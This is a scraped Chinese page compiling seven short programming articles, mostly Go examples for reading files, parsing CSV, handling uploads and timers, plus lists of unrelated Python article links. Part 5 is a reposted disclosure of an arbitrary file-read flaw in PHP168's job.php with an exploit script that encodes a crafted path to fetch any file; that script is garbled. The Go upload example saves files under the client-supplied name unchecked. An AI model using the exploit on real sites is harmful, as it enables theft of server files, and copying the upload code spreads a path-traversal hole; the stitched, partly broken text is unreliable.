GO语言常用的文件读取方式

时间:2022年12月11日

/

来源:饱暖思淫欲

/

编辑:本站小编

收藏本文

下载本文

以下是小编为大家准备的GO语言常用的文件读取方式,本文共7篇,希望对大家有帮助。本文原稿由网友“饱暖思淫欲”提供。

篇1:GO语言常用的文件读取方式

这篇文章主要介绍了GO语言常用的文件读取方式,涉及一次性读取、分块读取与逐行读取等方法,是非常实用的技巧,需要的朋友可以参考下

Golang 的文件读取方法很多,刚上手时不知道怎么选择,所以贴在此处便后速查。

一次性读取

小文件推荐一次性读取,这样程序更简单,而且速度最快。

代码如下:

func ReadAll(filePth string) ([]byte, error) {

f, err := os.Open(filePth)

if err != nil {

return nil, err

}

return ioutil.ReadAll(f)

}

还有更加简单的方法,我经常使用ioutil.ReadFile(filePth)

分块读取

可在速度和内存占用之间取得很好的平衡。

代码如下:

package main

import (

“bufio”

“io”

“os”

)

func processBlock(line []byte) {

os.Stdout.Write(line)

}

func ReadBlock(filePth string, bufSize int, hookfn func([]byte)) error {

f, err := os.Open(filePth)

if err != nil {

return err

}

defer f.Close

buf := make([]byte, bufSize) //一次读取多少个字节

bfRd := bufio.NewReader(f)

for {

n, err := bfRd.Read(buf)

hookfn(buf[:n]) // n 是成功读取字节数

if err != nil { //遇到任何错误立即返回,并忽略 EOF 错误信息

if err == io.EOF {

return nil

}

return err

}

}

return nil

}

func main() {

ReadBlock(“test.txt”, 10000, processBlock)

}

逐行读取

逐行读取有的时候真的很方便,性能可能慢一些,但是仅占用极少的内存空间,

代码如下:

package main

import (

“bufio”

“io”

“os”

)

func processLine(line []byte) {

os.Stdout.Write(line)

}

func ReadLine(filePth string, hookfn func([]byte)) error {

f, err := os.Open(filePth)

if err != nil {

return err

}

defer f.Close()

bfRd := bufio.NewReader(f)

for {

line, err := bfRd.ReadBytes(‘\\n‘)

hookfn(line) //放在错误处理前面,即使发生错误,也会处理已经读取到的数据。

if err != nil { //遇到任何错误立即返回,并忽略 EOF 错误信息

if err == io.EOF {

return nil

}

return err

}

}

return nil

}

func main() {

ReadLine(“test.txt”, processLine)

}

希望本文所述对大家的GO语言程序设计有所帮助。

篇2:go语言读取csv文件并输出的方法

作者:令狐不聪 字体:[增加 减小] 类型:

这篇文章主要介绍了go语言读取csv文件并输出的方法,实例分析了go语言操作csv文件的技巧,需要的朋友可以参考下

本文实例讲述了go语言读取csv文件并输出的方法,分享给大家供大家参考。具体实现方法如下:

代码如下:

package main

import (

“encoding/csv”

“fmt”

“io”

“os”

)

func main() {

file, err := os.Open(“names.txt”)

if err != nil {

fmt.Println(“Error:”, err)

return

}

defer file.Close()

reader := csv.NewReader(file)

for {

record, err := reader.Read()

if err == io.EOF {

break

} else if err != nil {

fmt.Println(“Error:”, err)

return

}

fmt.Println(record) // record has the type []string

}

}

希望本文所述对大家的Go语言程序设计有所帮助,

篇3:GO语言实现文件上传代码

本文给大家分享的是一则使用golang实现文件上传的代码,主要是使用os.Create创建文件,io.Copy来保存文件,思路非常清晰,这里推荐给大家,有需要的小伙伴参考下吧,

功能很简单,代码也很简洁,这里就不多废话了。

代码如下:

package main

import (

“fmt”

“io”

“net/http”

“os”

)

const (

upload_path string = “./upload/”

)

func helloHandle(w http.ResponseWriter, r *http.Request) {

io.WriteString(w, “hello world!”)

}

//上传

func uploadHandle(w http.ResponseWriter, r *http.Request) {

//从请求当中判断方法

if r.Method == “GET” {

io.WriteString(w, “我的第一个页面

”)

} else {

//获取文件内容 要这样获取

file, head, err := r.FormFile(“file”)

if err != nil {

fmt.Println(err)

return

}

defer file.Close

//创建文件

fW, err := os.Create(upload_path + head.Filename)

if err != nil {

fmt.Println(“文件创建失败”)

return

}

defer fW.Close()

_, err = io.Copy(fW, file)

if err != nil {

fmt.Println(“文件保存失败”)

return

}

//io.WriteString(w, head.Filename+“ 保存成功”)

http.Redirect(w, r, “/hello”, http.StatusFound)

//io.WriteString(w, head.Filename)

}

}

func main() {

//启动一个http 服务器

http.HandleFunc(“/hello”, helloHandle)

//上传

http.HandleFunc(“/image”, uploadHandle)

err := http.ListenAndServe(“:8080”, nil)

if err != nil {

fmt.Println(“服务器启动失败”)

return

}

fmt.Println(“服务器启动成功”)

}

以上所述就是本文的全部内容了,希望大家能够喜欢,能够对大家学习go语言有所帮助,

篇4:go语言中使用timer的常用方式

作者:heishui 字体:[增加 减小] 类型:

下面三段代码(A,b,C)的功能都是在5分钟后执行指定的函数的go语言代码:

代码如下:

// (A)

time.AfterFunc(5 * time.Minute, func() {

fmt.Printf(“expired”)

}

// (B) create a Timer object

timer := time.NewTimer(5 * time.Minute)

<-timer.C

fmt.Printf(“expired”)

// (C) time.After() returns timer.C internally

<-time.After(5 * time.Minute)

fmt.Printf(“expired”)

希望本文所述对大家的Go语言程序设计有所帮助,

篇5:Php168 读取任意文件漏洞

转载地址:hi.baidu.com/saiy_hi/

哦,忘记说了,程序官方URL:www.php168.com/#

代码:..job.php Line:117

if( eregi(“.php”,$url) ){

die(“ERR”);

}

$fileurl=str_replace($webdb[www_url],“”,$url);

if(is_file(PHP168_PATH.“$fileurl”)&&filesize(PHP168_PATH.“$fileurl”)<1024*1024*500){

$filename=basename($fileurl);

$filetype=substr(strrchr($filename,'.'),1);

$_filename=preg_replace(“/([\\d]+)_(200[\\d]+)_([^_]+)\\.([^\\.]+)/is”,“\\\\3”,$filename);

if(eregi(“^([a-z0-9=]+)$”,$_filename)&&!eregi(“(jpg|gif|png)$”,$filename)){

$filename=urldecode(base64_decode($_filename)).“.$filetype”;

}

ob_end_clean;

header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');

header('Pragma: no-cache');

header('Content-Encoding: none');

header('Content-Disposition: attachment; filename='.$filename);

header('Content-type: '.$filetype);

header('Content-Length: '.filesize(PHP168_PATH.“$fileurl”));

readfile(PHP168_PATH.“$fileurl”);

}else{

$fileurl=strstr($url,“://”)?$url:tempdir($fileurl);

header(“location:$fileurl”);

}

在这段代码里,有判断url里是否包含.php,但是在接下来,这里有个替换

$fileurl=str_replace($webdb[www_url],“”,$url);

.p$webdb[www_url]hp被替换后就是.php,但是可以顺利通过前面的是否存在.php的判断,

我没有安装这个代码,但是搜索了一下代码,$webdb[www_url]应该是Web的URL地址。

结论是:可以读取任意文件。

我写了一个Exp来读取文件,但是由于没有安装php168,所以如果有人愿意测试就安了~

由于以前写的EXP太不人性化了,现在连输入变量的方式都改变了~~~

php php168.php运行就好了

PHP代码

make_input('file_path','先生,你想读个啥文件呢?');   $query = str_replace('php','ph'.$url.'p',$file_path);   $hack_url = $url.'job.php?url='.base64_encode($query);   $result = file_get_contents($hack_url);   echo $result;   die;   function make_input($name,$msg=“请输入{name}的值”,0='text'){       global $$name;       while(1){               $msg = str_replace('{name}',$name,$msg);               $_input = trim(fgets(STDIN));                   if(0=='int'){                           $$name = $_input;                       }                       $$name = $_input;                   }           }else{           }   }

篇6:python读取浮点数和读取文件示例

-04-04Python编写的com组件发生R6034错误的原因与解决办法

2013-04-0450行代码实现贪吃蛇(具体思路及代码)

2013-11-11使用python BeautifulSoup库抓取58手机维修信息

-02-02python访问sqlserver示例

2014-02-02python和pyqt实现360的CLable控件

2013-12-12python调用cmd复制文件代码分享

2013-02-02python中的一些类型转换函数小结

-03-03学习python处理python编码问题

-04-04python启动办公软件进程(word、excel、ppt、以及wps的et、wps、w

2013-03-03python赋值操作方法分享

篇7:python读取浮点数和读取文件示例

最近更 新

python监控网卡流量并使用graphite绘图的

Python使用Socket(Https)Post登录百度的实

Eclipse + Python 的安装与配置流程

python抓取网页图片示例(python爬虫)

简单的通用表达式求10乘阶示例

python2.7删除文件夹和删除文件代码实例

Python 变量类型及命名规则介绍

Python下的Mysql模块MySQLdb安装详解

python从ftp下载数据保存实例

python算法学习之计数排序实例

热 点 排 行

Python入门教程 超详细1小时学会

python 中文乱码问题深入分析

比较详细Python正则表达式操作指

Python字符串的encode与decode研

Python open读写文件实现脚本

Python enumerate遍历数组示例应

Python 深入理解yield

Python+Django在windows下的开发

python 文件和路径操作函数小结

python 字符串split的用法分享

go语言base64用法实例

go语言环境搭建简述

GO语言求100以内的素数

go语言执行windows下命令行的方法

android读取xml

下载GO语言常用的文件读取方式(整理7篇)
GO语言常用的文件读取方式.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档